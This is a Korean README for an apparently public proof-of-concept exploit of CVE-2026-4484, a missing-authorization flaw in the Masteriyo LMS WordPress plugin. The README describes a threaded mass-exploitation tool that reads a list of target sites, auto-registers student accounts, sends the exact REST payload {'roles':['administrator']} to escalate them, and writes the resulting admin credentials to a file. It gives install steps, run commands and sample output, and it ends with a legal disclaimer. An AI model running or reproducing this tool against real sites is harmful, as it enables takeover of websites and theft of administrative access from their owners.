
Masteriyo LMS <= 2.1.6 - 인증된 사용자(학생 이상)의 관리자 권한 상승을 허용하는 인가 누락
Masteriyo LMS <= 2.1.6 - 인증된 사용자(학생+)가 관리자로 권한을 상승시킬 수 있는 인가 누락(Missing Authorization) 취약점
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-4484 |
| 심각도 | 높음(HIGH) — CVSS v3.1 점수: 8.8 |
| 벡터 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 영향받는 소프트웨어 | WordPress용 Masteriyo LMS 플러그인 |
| 영향받는 버전 | 2.1.6을 포함한 모든 버전 |
| 취약점 유형 | 권한 상승 (역할 변조) |
| 인증 필요 | 예 — 학생(Student) 수준 이상 |
| CWE | CWE-269: 잘못된 권한 관리 |
설명:
WordPress용 Masteriyo LMS 플러그인은 2.1.6을 포함한 모든 버전에서 권한 상승(Privilege Escalation) 취약점에 노출되어 있습니다. 이 취약점은 REST API 요청 중 역할 할당을 제대로 제한하지 못하는 InstructorsController::prepare_object_for_database 함수에서 발생합니다. 학생(Student) 수준의 접근 권한만 가진 인증된 공격자는 Masteriyo REST API 엔드포인트에 특수하게 조작된 POST 요청을 보내 요청 페이로드에 "roles": ["administrator"]를 주입하여, 관리자의 개입 없이 자신의 계정을 WordPress **관리자(Administrator)**로 조용히 승격시키고 사이트 전체를 장악할 수 있습니다.
이 도구는 취약한 버전의 Masteriyo LMS 플러그인이 설치된 WordPress를 대상으로 하는 개념 증명(PoC) 공격 스크립트입니다. 두 가지 공격 모드를 지원합니다:
| 모드 | 이름 | 흐름 | 사용 사례 |
|---|---|---|---|
| 1 | Nx_1 | 등록 → 로그인 → 권한 상승 → 관리자 확인 | 신규 공격 — 기존 계정 불필요 |
| 2 | Nx_2 | 로그인 → 권한 상승 → 관리자 확인 | 기존 계정 보유 시 (학생/강사) |
[Register / Login as Student]
↓
[Fetch Dashboard Context — user_id + nonce]
↓
[POST /wp-json/masteriyo/v1/users/instructors/{id}]
[Payload: {"roles": ["administrator"]}]
↓
[Re-login with fresh session]
↓
[Verify /wp-admin access → confirmed Administrator]
↓
[Write to Login_admin.txt]
pip install requests urllib3 colorama
또는 requirements 파일을 통해 설치:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-4484.git
cd CVE-2026-4484
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-4484.py
python3 CVE-2026-4484.py
이 도구는 대화형 터미널 인터페이스를 사용합니다 — 모든 매개변수는 실행 중에 입력하라는 메시지가 표시됩니다.
한 줄에 대상 하나씩 일반 텍스트 파일(예: list.txt)을 생성합니다:
https://target1.com
https://target2.com
http://target3.com/wordpress
대상 사이트에 기존 계정이 없을 때 이 모드를 사용합니다. 도구가 새 학생 계정을 자동으로 등록한 후 해당 계정을 권한 상승시킵니다.
Select mode (1=Nx_1, 2=Nx_2) [2]: 1
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username to register (Nx_1) [Nxploited]: Nxploited
Email to use for registration+login (Nx_1) [[email protected]]: [email protected]
Password to use (Nx_1) [Nx_admin]: Nx_admin123!
자동으로 수행되는 단계:
/account/signup/ → 등록 nonce 추출/st/ → 학생(Student) 계정으로 새 계정 등록/account/ → 로그인 nonce 추출/wp-admin/admin-ajax.php → Masteriyo AJAX를 통한 로그인/account/#/dashboard → current_user_id + nonce 추출{"roles":["administrator"]} 페이로드로 POST /wp-json/masteriyo/v1/users/instructors/{id} 요청Login_admin.txt에 기록대상 사이트에 유효한 학생 또는 강사 계정이 이미 있을 때 이 모드를 사용합니다.
Select mode (1=Nx_1, 2=Nx_2) [2]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username or Email for login+escalation (Nx_2) [admin]: [email protected]
Password for that user: mypassword
자동으로 수행되는 단계:
/account/ → 로그인 nonce 추출/wp-admin/admin-ajax.php → Masteriyo AJAX를 통한 로그인/account/#/dashboard → current_user_id + nonce 추출{"roles":["administrator"]} 페이로드로 POST /wp-json/masteriyo/v1/users/instructors/{id} 요청Login_admin.txt에 기록| 파일 | 설명 |
|---|---|
Login_admin.txt | 확인된 모든 관리자 권한 상승 기록 |
https://target.com/wp-login.php user:[email protected]|pass:Nx_admin123!
[OK] https://target.com :: LOGIN OK :: success
[OK] https://target.com :: DASHBOARD :: user_id=42 nonce=a1b2c3d4e5
[OK] https://target.com :: ESCALATE SUCCESS :: user_id=42 username=nxploited roles=['administrator']
[OK] https://target.com :: ADMIN SESSION VERIFIED (dashboard + plugin-install access).
POST /wp-json/masteriyo/v1/users/instructors/{user_id}
{
"roles": ["administrator"]
}
Content-Type: application/json
X-WP-Nonce: <extracted_from_dashboard>
Masteriyo LMS의 InstructorsController::prepare_object_for_database 함수는 요청 사용자에게 edit_users 또는 promote_users 권한이 있는지 확인하지 않고 REST 요청 본문의 roles 매개변수를 처리합니다. 이 엔드포인트에 접근할 수 있는 모든 인증 사용자(학생 수준 이상)는 administrator를 포함한 임의의 역할 값을 제출할 수 있으며, 이 값은 WordPress 사용자 메타데이터 테이블에 직접 저장됩니다.
By: Nxploited (Khaled Alenazi)
이 도구는 교육 및 승인된 보안 연구 목적으로만 제공됩니다.
작성자 Nxploited (Khaled Alenazi) 및 이 프로젝트의 모든 기여자는 명시적인 서면 승인 없이 시스템을 대상으로 이 소프트웨어를 사용함으로써 발생하는 도구의 오용이나 모든 피해에 대해 묵인하거나 지원하지 않으며, 어떠한 책임도 지지 않습니다.
- ✅ 허용: 본인이 소유하거나 테스트에 대한 명시적인 서면 승인을 받은 시스템에서의 사용.
- ❌ 금지: 시스템 소유자의 사전 명시적 서면 승인 없이 모든 시스템을 대상으로 한 사용.
컴퓨터 시스템에 대한 무단 접근은 불법이며 관련 법률에 따라 처벌 대상입니다. 여기에는 컴퓨터 사기 및 남용 법안(CFAA), 컴퓨터 오용 법안(CMA) 및 전 세계의 동등한 법률이 포함되며 이에 국한되지 않습니다.
이 도구를 사용함으로써 귀하는 자신의 행동에 대한 모든 책임을 수락하며 대상 시스템을 테스트할 법적 권한이 있음을 확인하게 됩니다.
작성자는 이 소프트웨어의 사용 또는 오용으로 인해 발생하는 직접적, 간접적, 부수적 또는 결과적 손해에 대해 어떠한 책임도 지지 않습니다.
© 2026 Nxploited (Khaled Alenazi) — 승인된 보안 연구 목적으로만 사용하십시오.